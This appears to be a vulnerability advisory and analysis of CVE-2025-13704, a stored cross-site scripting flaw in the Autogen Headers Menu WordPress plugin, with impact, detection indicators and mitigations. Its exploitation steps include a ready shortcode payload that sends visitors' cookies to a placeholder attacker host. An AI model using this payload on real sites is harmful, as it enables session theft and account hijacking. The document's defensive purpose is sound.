CVE-2025-13704: 
WordPress vulnerability analysis and mitigation

CVE-2025-13704 is a Stored Cross-Site Scripting (XSS) vulnerability in the Autogen Headers Menu plugin for WordPress. It affects all versions up to and including 1.0.1, where insufficient input sanitization and output escaping of the head_class parameter in the autogen_menu shortcode allows authenticated attackers with Contributor-level access or above to inject arbitrary web scripts. The vulnerability was published on January 9, 2026, and was reported by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The vulnerability exists because the head_class parameter passed to the autogen_menu shortcode is not properly sanitized before being rendered in the page output, as evidenced by the vulnerable code at lines 53 and 115 of index.php. An authenticated attacker with at least Contributor-level access can embed a malicious script payload in the head_class parameter when inserting the shortcode into a post or page; the script is then stored server-side and executes in the browsers of all subsequent visitors to that page (Wordfence, WordPress Plugin Trac).

Successful exploitation allows injected scripts to execute in the context of any user who visits the compromised page, potentially exposing session cookies, authentication tokens, and other sensitive browser-accessible data. Attackers could leverage this to perform account hijacking, credential theft, or redirect victims to malicious sites. While availability is not directly impacted, the confidentiality and integrity of affected users' sessions and data are at risk (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-13704. The EPSS score is approximately 0.032%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Gain Contributor Access: Obtain or register an account on the target WordPress site with at least Contributor-level privileges.
2. Create or Edit a Post: Navigate to the WordPress editor and create a new post or edit an existing one where shortcodes are permitted.
3. Inject Malicious Shortcode: Insert the autogen_menu shortcode with a crafted head_class parameter containing a JavaScript payload, e.g., [autogen_menu head_class=""><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the Page: Submit or publish the post so the malicious shortcode is stored in the database.
5. Trigger Execution: When any user (including administrators) visits the injected page, the unsanitized head_class value is rendered into the HTML output and the injected script executes in their browser, enabling session hijacking or further attacks (Wordfence, WordPress Plugin Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API containing autogen_menu shortcode with unusual head_class values including <script>, javascript:, or encoded variants (e.g., %3Cscript%3E).
• Database: Entries in the wp_posts table containing [autogen_menu head_class= with embedded script tags or event handlers (e.g., onerror=, onload=).
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing the autogen_menu shortcode, potentially carrying cookie or session data in query parameters.
• File System: Unexpected modifications to plugin files in wp-content/plugins/autogen-headers-menu/ that may indicate further tampering after initial XSS exploitation.

As of the disclosure date, no patched version beyond 1.0.1 was confirmed available; site administrators should monitor the WordPress plugin repository for an updated release that addresses the sanitization issue. In the interim, disabling or removing the Autogen Headers Menu plugin is the most effective workaround. Additionally, restricting Contributor-level user registration and auditing existing Contributor accounts can reduce the attack surface. Web application firewalls (WAFs) with XSS filtering rules may provide partial mitigation (Wordfence).

Wordfence included CVE-2025-13704 in their weekly WordPress vulnerability report for January 5–11, 2026, noting it as part of a broader set of plugin vulnerabilities disclosed that week (Wordfence Blog). No significant independent researcher commentary or broader media coverage has been identified for this specific vulnerability.